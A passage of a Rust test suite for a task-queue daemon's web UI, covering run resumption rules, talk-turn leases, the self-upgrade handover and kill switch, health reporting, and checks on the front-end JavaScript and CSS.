13978 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13979 let fx = Fixture::start().await;
13980 let runs = fx.runs();
13981 let id = "20260901-000000-unconfirmed";
13982 write_run(&runs, id, RunStatus::Blocked);
13983
13984 let res = fx
13985 .post(
13986 &format!("/api/runs/{id}/fold-merged"),
13987 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13988 )
13989 .await;
13990 assert_eq!(res.status, 400, "{}", res.body);
13991 assert_eq!(
13992 read_run(&runs, id).unwrap().status,
13993 RunStatus::Blocked,
13994 "a pull request that could not be confirmed merged must leave \
13995 the run exactly where it was"
13996 );
13997 }
13998
13999 #[tokio::test]
14000 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14001 let fx = Fixture::start().await;
14002 let runs = fx.runs();
14003
14004 for (status, word) in [
14010 (RunStatus::Merged, "merged"),
14011 (RunStatus::Ready, "ready"),
14012 (RunStatus::Failed, "failed"),
14013 ] {
14014 let id = format!("20260901-000000-{}", &word[..4]);
14015 write_run(&runs, &id, status);
14016 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14017 assert_eq!(res.status, 409, "{word} must not be resumable");
14018 let err = res.json()["error"].as_str().unwrap().to_owned();
14019 assert!(err.contains(word), "the refusal names the status: {err}");
14020 }
14021
14022 let mid = "20260901-000000-midf";
14027 write_run(&runs, mid, RunStatus::Reviewing);
14028 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14029 assert_eq!(res.status, 202, "an interrupted run is resumable");
14030 }
14031
14032 #[tokio::test]
14033 async fn resume_is_refused_while_the_loop_is_running() {
14034 let fx = Fixture::start().await;
14035 let runs = fx.runs();
14036 let stalled = "20260901-000000-stal";
14037 write_run(&runs, stalled, RunStatus::Stalled);
14038
14039 let mut beat = crate::daemon::Status::new();
14043 beat.current = vec![crate::daemon::Current {
14044 task: "20260901-000000-task".to_owned(),
14045 run: "20260901-000000-othr".to_owned(),
14046 }];
14047 beat.updated_at = jiff::Timestamp::now();
14048 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14049 .expect("publish a heartbeat");
14050
14051 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14052 assert_eq!(res.status, 409);
14053 let err = res.json()["error"].as_str().unwrap().to_owned();
14054 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14055 assert!(err.contains("stop it first"), "{err}");
14056 }
14057
14058 #[test]
14059 fn a_run_cannot_be_resumed_twice_at_once() {
14060 let home = TempDir::new().expect("temp home");
14061 let ui = Ui::new(
14062 Queue::at(home.path().join("queue")),
14063 Questions::at(home.path().join("questions")),
14064 Talks::at(home.path().join("talks")),
14065 home.path().join("runs"),
14066 home.path().to_path_buf(),
14067 PathBuf::from("/repo"),
14068 )
14069 .with_worktrees_root(home.path().join("wt"));
14070 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14071 let again = ui.begin_resume("20260901-000000-once");
14072 assert!(again.is_err(), "a second tap must not start a second graph");
14073 drop(first);
14074 assert!(
14075 ui.begin_resume("20260901-000000-once").is_ok(),
14076 "and the claim is released when the attempt ends"
14077 );
14078 }
14079
14080 #[test]
14081 fn talk_thinking_tracks_only_its_held_turn_claim() {
14082 let home = TempDir::new().expect("temp home");
14083 let ui = Ui::new(
14084 Queue::at(home.path().join("queue")),
14085 Questions::at(home.path().join("questions")),
14086 Talks::at(home.path().join("talks")),
14087 home.path().join("runs"),
14088 home.path().to_path_buf(),
14089 PathBuf::from("/repo"),
14090 )
14091 .with_worktrees_root(home.path().join("wt"));
14092 let id = "20260901-000000-once";
14093
14094 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14095 let turn = ui.begin_talk_turn(id).expect("claim turn");
14096 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14097 assert!(
14098 !ui.is_thinking("20260901-000000-other"),
14099 "one talk's turn does not make another talk busy"
14100 );
14101 drop(turn);
14102 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14103 }
14104
14105 #[test]
14106 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14107 let home = TempDir::new().expect("temp home");
14108 let talks = Talks::at(home.path().join("talks"));
14109 let ui = Ui::new(
14110 Queue::at(home.path().join("queue")),
14111 Questions::at(home.path().join("questions")),
14112 talks.clone(),
14113 home.path().join("runs"),
14114 home.path().to_path_buf(),
14115 PathBuf::from("/repo"),
14116 )
14117 .with_worktrees_root(home.path().join("wt"));
14118 let id = "20260901-000000-cross";
14119
14120 let other = Talks::at(home.path().join("talks"))
14121 .claim_turn(id)
14122 .expect("claim")
14123 .expect("the other process wins");
14124 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14125 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14126 assert!(
14127 matches!(
14128 ui.begin_talk_turn_unless_pending(id).expect("start"),
14129 TalkTurnStart::Foreign
14130 ),
14131 "a foreign holder is refused, not queued behind"
14132 );
14133 assert!(
14134 !ui.talk_turns.lock().unwrap().live.contains(id),
14135 "a refused claim leaves no in-process entry behind"
14136 );
14137 drop(other);
14138 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14139 assert!(talks.turn_held(id), "the web turn holds the lease");
14140 drop(turn);
14141 assert!(
14142 !talks.turn_held(id),
14143 "dropping the guard releases the lease"
14144 );
14145 }
14146
14147 #[tokio::test]
14148 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14149 let fx = Fixture::start().await;
14150 let mut beat = crate::daemon::Status::new();
14154 beat.pid = 4321;
14155 beat.updated_at = jiff::Timestamp::now();
14156 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14157 .expect("publish a heartbeat");
14158
14159 let res = fx.post("/api/upgrade", None).await;
14160 assert_eq!(res.status, 409);
14161 let err = res.json()["error"].as_str().unwrap().to_owned();
14162 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14163 assert!(err.contains("old one against the same queue"), "{err}");
14164 }
14165
14166 #[test]
14173 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14174 assert!(!should_spawn_recheck(&crate::config::Update {
14175 mode: UpdateMode::Off,
14176 interval: None,
14177 }));
14178
14179 unsafe {
14182 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14183 }
14184 let killed = should_spawn_recheck(&crate::config::Update {
14185 mode: UpdateMode::Notify,
14186 interval: None,
14187 });
14188 unsafe {
14189 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14190 }
14191 assert!(
14192 !killed,
14193 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14194 one-time startup check"
14195 );
14196
14197 assert!(should_spawn_recheck(&crate::config::Update {
14198 mode: UpdateMode::Notify,
14199 interval: None,
14200 }));
14201 }
14202
14203 #[test]
14209 fn recheck_poll_period_tracks_a_short_configured_interval() {
14210 let short = crate::config::Update {
14211 mode: UpdateMode::Notify,
14212 interval: Some("1m".to_owned()),
14213 };
14214 let period = recheck_poll_period(&short);
14215 assert!(
14216 period <= Duration::from_secs(30),
14217 "a one-minute interval must wake the task far sooner than the \
14218 default ceiling, or the deck would not notice within the \
14219 interval the operator configured: got {period:?}"
14220 );
14221
14222 let default = crate::config::Update {
14223 mode: UpdateMode::Notify,
14224 interval: None,
14225 };
14226 assert_eq!(
14227 recheck_poll_period(&default),
14228 UPDATE_RECHECK_POLL_MAX,
14229 "the default day-long interval should poll at the (capped) \
14230 ceiling rather than needlessly often"
14231 );
14232 }
14233
14234 #[test]
14242 fn recheck_skips_the_network_before_the_interval_elapses() {
14243 let dir = TempDir::new().expect("temp dir");
14244 let path = dir.path().join("state.json");
14245 let state = kaishin::UpdateCheckState {
14246 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14247 last_known_latest: None,
14248 last_known_url: None,
14249 };
14250 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14251
14252 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14253 assert!(
14254 !update_recheck_due(&checker, None),
14255 "a check made moments ago must not be repeated before the \
14256 configured interval elapses"
14257 );
14258 }
14259
14260 #[test]
14266 fn recheck_defers_to_an_upgrade_already_in_flight() {
14267 let dir = TempDir::new().expect("temp dir");
14268 let path = dir.path().join("state.json");
14269 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14270 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14271
14272 assert!(
14273 !update_recheck_due(&checker, Some(&progress)),
14274 "a recheck must not run while an upgrade this deck started is \
14275 still moving"
14276 );
14277 }
14278
14279 #[tokio::test]
14280 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14281 unsafe {
14293 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14294 }
14295 let fx = Fixture::start().await;
14296 let res = fx.post("/api/upgrade", None).await;
14297 unsafe {
14298 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14299 }
14300 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14301 let body = res.json();
14302 assert!(body["to"].is_null(), "there was no release to move to");
14303 assert!(body["parked"].is_null(), "and nothing was parked");
14304 assert!(
14305 body["detail"]
14306 .as_str()
14307 .unwrap()
14308 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14309 "{body:?}"
14310 );
14311 }
14312
14313 #[tokio::test]
14314 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14315 let repo = TempDir::new().expect("repo dir");
14331 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14332 .expect("write magi.toml");
14333 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14334
14335 let res = fx.post("/api/upgrade", None).await;
14341 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14342 let body = res.json();
14343 assert!(body["to"].is_null(), "there was no release to move to");
14344 assert!(body["parked"].is_null(), "and nothing was parked");
14345 assert!(
14346 body["detail"]
14347 .as_str()
14348 .unwrap()
14349 .contains("nothing restarted"),
14350 "{body:?}"
14351 );
14352 }
14353
14354 #[tokio::test]
14355 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14356 let repo = TempDir::new().expect("repo dir");
14361 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14362 .expect("write magi.toml");
14363 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14364
14365 let health = fx.get("/api/health").await.json();
14366 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14367 assert_eq!(
14368 health["update"]["available"], false,
14369 "checking is off, which reads as \"unknown\", not \"none\""
14370 );
14371 assert!(health["update"]["to"].is_null());
14372 assert!(
14373 health["upgrade"].is_null(),
14374 "nothing has ever asked this deck to upgrade"
14375 );
14376 }
14377
14378 #[tokio::test]
14379 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14380 let fx = Fixture::start().await;
14381 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14382
14383 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14384 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14385 progress.advance(crate::updater::Stage::Parking);
14386 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14387
14388 let health = fx.get("/api/health").await.json();
14389 assert_eq!(health["upgrade"]["stage"], "parking");
14390 assert_eq!(health["upgrade"]["from"], "0.5.1");
14391 assert_eq!(health["upgrade"]["to"], "0.5.2");
14392 let waiting_on = health["upgrade"]["waiting_on"]
14393 .as_str()
14394 .expect("waiting_on is set while parking a known run");
14395 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14396 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14397 }
14398
14399 #[tokio::test]
14400 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14401 let fx = Fixture::start().await;
14402 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14403 progress.advance(crate::updater::Stage::Done);
14404 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14405
14406 let health = fx.get("/api/health").await.json();
14407 assert_eq!(health["upgrade"]["stage"], "done");
14408 assert!(
14409 health["upgrade"]["waiting_on"].is_null(),
14410 "nothing to wait on once it is done"
14411 );
14412 }
14413
14414 #[tokio::test]
14415 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14416 let home = TempDir::new().expect("temp home");
14417 let runs = home.path().join("runs");
14418 std::fs::create_dir_all(&runs).expect("runs dir");
14419 let ui = Ui::new(
14420 Queue::at(home.path().join("queue")),
14421 Questions::at(home.path().join("questions")),
14422 Talks::at(home.path().join("talks")),
14423 runs,
14424 home.path().to_path_buf(),
14425 PathBuf::from("/repo/magi"),
14426 )
14427 .with_launch(launch_idle);
14428 let looping = ui.looping();
14429 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14430 .await
14431 .expect("bind loopback");
14432 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14433
14434 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14435 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14436
14437 hand_over(home.path(), &looping, served, |_| Ok(1))
14438 .await
14439 .expect("hand over");
14440
14441 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14442 assert_eq!(
14443 after.stage,
14444 crate::updater::Stage::Restarting,
14445 "hand_over owns the record through parking and up to restarting; \
14446 the successor is what finishes it"
14447 );
14448 }
14449
14450 #[tokio::test]
14453 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14454 for fail in [false, true] {
14455 let home = TempDir::new().expect("temp home");
14456 let ui = idle_ui(&home);
14457 let looping = ui.looping();
14458 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14459 .await
14460 .expect("bind loopback");
14461 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14462 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14463 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14464
14465 let calls = std::sync::atomic::AtomicUsize::new(0);
14466 let outcome = hand_over(home.path(), &looping, served, |_| {
14467 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14468 if fail {
14469 anyhow::bail!("no exec")
14470 } else {
14471 Ok(4242)
14472 }
14473 })
14474 .await;
14475 assert_eq!(outcome.is_err(), fail);
14476 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14477
14478 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14479 .expect("upgrade.log is written under the home");
14480 for step in [
14481 "entered",
14482 "finish_loop",
14483 "listener released",
14484 "starting the successor",
14485 ] {
14486 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14487 }
14488 assert!(
14489 log.contains(if fail { "did not start" } else { "pid 4242" }),
14490 "{log}"
14491 );
14492 }
14493 }
14494
14495 #[tokio::test]
14498 async fn the_handover_signal_wakes_one_waiter_once() {
14499 let signal = Notify::new();
14500 signal.notify_one();
14502 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14503 .await
14504 .expect("an early signal is still seen");
14505 assert!(
14507 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14508 .await
14509 .is_err(),
14510 "a consumed signal must not wake a second time"
14511 );
14512 let signal = std::sync::Arc::new(signal);
14514 let waiter = tokio::spawn({
14515 let signal = std::sync::Arc::clone(&signal);
14516 async move { wait_for_handover(&signal).await }
14517 });
14518 tokio::time::sleep(Duration::from_millis(20)).await;
14519 assert!(!waiter.is_finished(), "nothing was signalled yet");
14520 signal.notify_one();
14521 tokio::time::timeout(Duration::from_secs(5), waiter)
14522 .await
14523 .expect("a late signal wakes the waiter")
14524 .expect("join");
14525 }
14526
14527 #[tokio::test]
14528 async fn health_says_how_long_a_handover_has_been_stuck() {
14529 let fx = Fixture::start().await;
14530 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14531 progress.advance(crate::updater::Stage::Replaced);
14532 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14533 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14534
14535 let health = fx.get("/api/health").await.json();
14536 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14537 assert!(stuck >= 600, "{stuck}");
14538 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14539 }
14540
14541 fn idle_ui(home: &TempDir) -> Ui {
14542 let runs = home.path().join("runs");
14543 std::fs::create_dir_all(&runs).expect("runs dir");
14544 Ui::new(
14545 Queue::at(home.path().join("queue")),
14546 Questions::at(home.path().join("questions")),
14547 Talks::at(home.path().join("talks")),
14548 runs,
14549 home.path().to_path_buf(),
14550 PathBuf::from("/repo/magi"),
14551 )
14552 .with_launch(launch_idle)
14553 }
14554
14555 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14557 let looping = ui.looping();
14558 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14559 .await
14560 .expect("bind loopback");
14561 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14562 let told = std::sync::Mutex::new(None);
14563 hand_over(home.path(), &looping, served, |resume| {
14564 *told.lock().unwrap() = Some(resume);
14565 Ok(1)
14566 })
14567 .await
14568 .expect("hand over");
14569 told.into_inner().unwrap().expect("successor was started")
14570 }
14571
14572 #[tokio::test]
14573 async fn a_running_loop_is_resumed_by_the_successor() {
14574 let home = TempDir::new().expect("temp home");
14575 let ui = idle_ui(&home);
14576 ui.start_loop(None).expect("start");
14577 ui.park_for_upgrade().expect("park");
14578 for _ in 0..500 {
14580 if !ui.loop_view(None).running {
14581 break;
14582 }
14583 tokio::time::sleep(Duration::from_millis(2)).await;
14584 }
14585 assert!(handed_over(&home, ui).await, "a running loop must resume");
14586
14587 let successor = idle_ui(&home);
14588 assert!(!successor.loop_view(None).running);
14589 assert!(successor.resume_after_handover(true));
14590 assert!(successor.loop_view(None).running);
14591 successor.stop_loop(None, false).expect("stop");
14592 }
14593
14594 #[tokio::test]
14595 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14596 let home = TempDir::new().expect("temp home");
14597 let ui = idle_ui(&home);
14598 ui.start_loop(None).expect("start");
14599 ui.park_for_upgrade().expect("first park");
14600 ui.park_for_upgrade().expect("second park");
14601 assert!(handed_over(&home, ui).await);
14602 }
14603
14604 #[tokio::test]
14605 async fn a_stop_during_the_handover_wait_is_honoured() {
14606 let home = TempDir::new().expect("temp home");
14607 let ui = idle_ui(&home);
14608 ui.start_loop(None).expect("start");
14609 ui.park_for_upgrade().expect("park");
14610 ui.stop_loop(None, false).expect("stop");
14611 assert!(!handed_over(&home, ui).await);
14612 }
14613
14614 #[tokio::test]
14615 async fn an_idle_loop_stays_stopped_across_the_handover() {
14616 let home = TempDir::new().expect("temp home");
14617 let ui = idle_ui(&home);
14618 ui.park_for_upgrade().expect("park");
14619 assert!(!handed_over(&home, ui).await);
14620
14621 let successor = idle_ui(&home);
14622 assert!(!successor.resume_after_handover(false));
14623 assert!(!successor.loop_view(None).running);
14624 }
14625
14626 #[tokio::test]
14627 async fn a_loop_the_operator_stopped_is_not_resumed() {
14628 let home = TempDir::new().expect("temp home");
14629 let ui = idle_ui(&home);
14630 ui.start_loop(None).expect("start");
14631 ui.stop_loop(None, false).expect("stop");
14632 ui.park_for_upgrade().expect("park");
14633 assert!(!handed_over(&home, ui).await);
14634 }
14635
14636 #[test]
14637 fn only_an_explicit_one_requests_a_resume() {
14638 assert!(!resume_requested(None));
14639 assert!(!resume_requested(Some("0".into())));
14640 assert!(!resume_requested(Some("".into())));
14641 assert!(resume_requested(Some("1".into())));
14642 }
14643
14644 #[test]
14645 fn the_upgrade_button_arms_before_it_restarts_anything() {
14646 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14649 assert!(APP_JS.contains("Replace the binary and restart?"));
14650 assert!(APP_JS.contains("function confirmed("));
14651 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14656 assert!(
14660 APP_JS.contains("Parking, then restarting"),
14661 "the button says what it is waiting for"
14662 );
14663 assert!(APP_JS.contains("if (!out.to)"));
14666 }
14667
14668 #[test]
14669 fn stopping_the_loop_arms_but_starting_does_not() {
14670 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14673 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14674 assert!(APP_JS.contains("confirmed(button, question)"));
14675 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14678 assert!(APP_JS.contains("const label = btn.textContent;"));
14679 assert!(!APP_JS.contains("Neither direction is guarded"));
14680 }
14681
14682 #[test]
14683 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14684 assert!(
14685 APP_JS.contains("state.health.version"),
14686 "the operator wants to know what is running even with nothing newer"
14687 );
14688 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14689 }
14690
14691 #[test]
14692 fn the_upgrade_button_names_its_destination() {
14693 assert!(
14694 APP_JS.contains("`Update to ${update.to}`"),
14695 "pressing the button should not be a surprise about what it moves to"
14696 );
14697 }
14698
14699 #[test]
14700 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14701 for stage in ["downloading", "replaced", "parking", "restarting"] {
14702 assert!(
14703 APP_JS.contains(&format!("\"{stage}\"")),
14704 "the phone must be able to tell {stage} apart from the others"
14705 );
14706 }
14707 assert!(APP_JS.contains(".waiting_on"));
14708 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14713 assert!(APP_JS.contains("reconnects on its own"));
14714 }
14715
14716 #[test]
14717 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14718 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14727 ..APP_JS.find("function upgrade(").expect("upgrade")];
14728 assert!(
14729 !body.contains(
14730 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14731 ),
14732 "a failed upgrade must not take the whole strip over the way it used to"
14733 );
14734 assert!(
14735 body.contains("upgradeFailNote"),
14736 "the failure has to reach the loop's own note instead"
14737 );
14738 assert_eq!(
14742 body.matches("upgradeFailNote].filter(Boolean).join")
14743 .count(),
14744 2,
14745 "both loop-why writers (quiet and control) must fold the note in"
14746 );
14747 }
14748
14749 #[test]
14750 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14751 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14754 assert!(APP_JS.contains("function upgradeOverdue("));
14755 }
14756
14757 #[test]
14758 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14759 assert!(
14760 APP_JS.contains("Updated to ${upgradeInfo.to"),
14761 "the operator who asked for the restart wants to know it worked"
14762 );
14763 }
14764
14765 #[test]
14766 fn an_error_is_visible_from_where_the_button_is() {
14767 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14772 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14773 assert!(
14774 alert.contains("position: fixed"),
14775 "an error about the thing under your thumb has to be visible from \
14776 where your thumb is: {alert}"
14777 );
14778 assert!(
14779 alert.contains("z-index: 25"),
14780 "above the dock (20) and the run-actions FAB (15), so neither \
14781 buries it: {alert}"
14782 );
14783 assert!(
14784 alert.contains("var(--tap)"),
14785 "and clear of the dock and the home indicator: {alert}"
14786 );
14787 assert!(
14790 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14791 "the FAB's column stays free: {alert}"
14792 );
14793 }
14794
14795 #[tokio::test]
14796 async fn an_older_attempt_says_what_replaced_it() {
14797 let fx = Fixture::start().await;
14798 let q = fx.queue();
14799 let runs = fx.runs();
14800 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14801 write_run(&runs, first, RunStatus::Stalled);
14802 write_run(&runs, second, RunStatus::Blocked);
14803
14804 let mut t = Task::new(
14805 "one task".to_owned(),
14806 "do it".to_owned(),
14807 PathBuf::from("/repo"),
14808 Source::Human,
14809 );
14810 t.runs = vec![first.to_owned(), second.to_owned()];
14811 q.put(&mut t).expect("put");
14812
14813 let rows = fx.get("/api/runs").await.json();
14817 let by = |short: &str| -> Value {
14818 rows.as_array()
14819 .unwrap()
14820 .iter()
14821 .find(|r| r["short"] == short)
14822 .cloned()
14823 .unwrap_or(Value::Null)
14824 };
14825 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14826 assert!(
14827 by("bbbb")["superseded_by"].is_null(),
14828 "the latest attempt is not superseded by anything"
14829 );
14830 assert!(APP_JS.contains("run.superseded_by"));
14832 assert!(APP_JS.contains("Superseded by"));
14833 }
14834
14835 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14836 let mut t = Task::new(
14837 "one task".to_owned(),
14838 "do it".to_owned(),
14839 PathBuf::from("/repo"),
14840 Source::Human,
14841 );
14842 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14843 t.status = status;
14844 t
14845 }
14846
14847 #[test]
14848 fn source_link_picks_the_page_that_filed_the_task() {
14849 let agent = |node: &str| Source::Agent {
14850 run: "20260904-014455-ab12".to_owned(),
14851 node: node.to_owned(),
14852 };
14853 let chat = source_link(&agent("chat")).expect("chat link");
14854 assert_eq!(chat.kind, "chat");
14855 assert_eq!(chat.id, "20260904-014455-ab12");
14856 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14857 let run = source_link(&agent("implement")).expect("run link");
14858 assert_eq!(
14859 (run.kind, run.href.as_str()),
14860 ("run", "#/runs/20260904-014455-ab12")
14861 );
14862 assert_eq!(source_link(&Source::Human), None);
14863 assert_eq!(
14864 source_link(&Source::Issue {
14865 number: 3,
14866 repo: "o/r".to_owned()
14867 }),
14868 None
14869 );
14870 let odd = source_link(&Source::Agent {
14871 run: "a b/c".to_owned(),
14872 node: "chat".to_owned(),
14873 })
14874 .expect("link");
14875 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14876 }
14877
14878 #[test]
14879 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14880 assert!(
14881 !APP_JS.contains("src.node === \"chat\""),
14882 "inline href rule is back"
14883 );
14884 assert!(
14885 APP_JS.matches("sourceLinkOf(").count() >= 4,
14886 "helper must serve every page"
14887 );
14888 assert!(
14889 APP_JS.matches("openChatLink(").count() >= 3,
14890 "the run page still needs its explicit chat link"
14891 );
14892 assert!(
14893 !APP_JS.contains("const openChat = el("),
14894 "the Queue card duplicates its source label link again"
14895 );
14896 assert!(
14897 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14898 "the task page must link a chat source label too"
14899 );
14900 }
14901
14902 #[test]
14903 fn task_ref_carries_the_source_link_for_a_chat_task() {
14904 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14905 t.source = Source::Agent {
14906 run: "20260904-014455-ab12".to_owned(),
14907 node: "chat".to_owned(),
14908 };
14909 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14910 let v = serde_json::to_value(&out).expect("json");
14911 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14912 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14913 assert_eq!(v["source_label"], t.source.label());
14914
14915 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14916 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14917 .expect("json");
14918 assert!(v["source_link"].is_null(), "{v}");
14919 }
14920
14921 #[test]
14922 fn task_view_serializes_source_link() {
14923 let mut t = Task::new(
14924 "t".to_owned(),
14925 "t".to_owned(),
14926 PathBuf::from("/repo"),
14927 Source::Agent {
14928 run: "20260901-000000-aaaa".to_owned(),
14929 node: "implement".to_owned(),
14930 },
14931 );
14932 t.runs.clear();
14933 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14934 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14935 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14936 }
14937
14938 #[tokio::test]
14939 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14940 let fx = Fixture::start().await;
14941 let runs = fx.runs();
14942 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14943 write_run(&runs, old, RunStatus::Blocked);
14944 write_run(&runs, new, RunStatus::Merged);
14945 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14946 fx.queue().put(&mut t).expect("put");
14947
14948 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14949 let task = &view["task"];
14950 assert_eq!(task["status"], "done");
14951 assert_eq!(task["is_latest"], false);
14952 assert_eq!(task["latest"]["short"], "bbbb");
14953 assert_eq!(task["finished_by"]["id"], new);
14954 assert_eq!(task["finished_by"]["outcome"], "merged");
14955 assert_eq!(task["closed_by_hand"], false);
14956 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14957 assert!(APP_JS.contains("finished_by"));
14958 assert!(APP_JS.contains("superseded by run"));
14959 }
14960
14961 #[tokio::test]
14962 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14963 let fx = Fixture::start().await;
14964 let runs = fx.runs();
14965 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14966 write_run(&runs, old, RunStatus::Stalled);
14967 write_run(&runs, new, RunStatus::Blocked);
14968 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14969 fx.queue().put(&mut t).expect("put");
14970
14971 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14972 assert_eq!(task["status"], "held");
14973 assert_eq!(task["is_latest"], true);
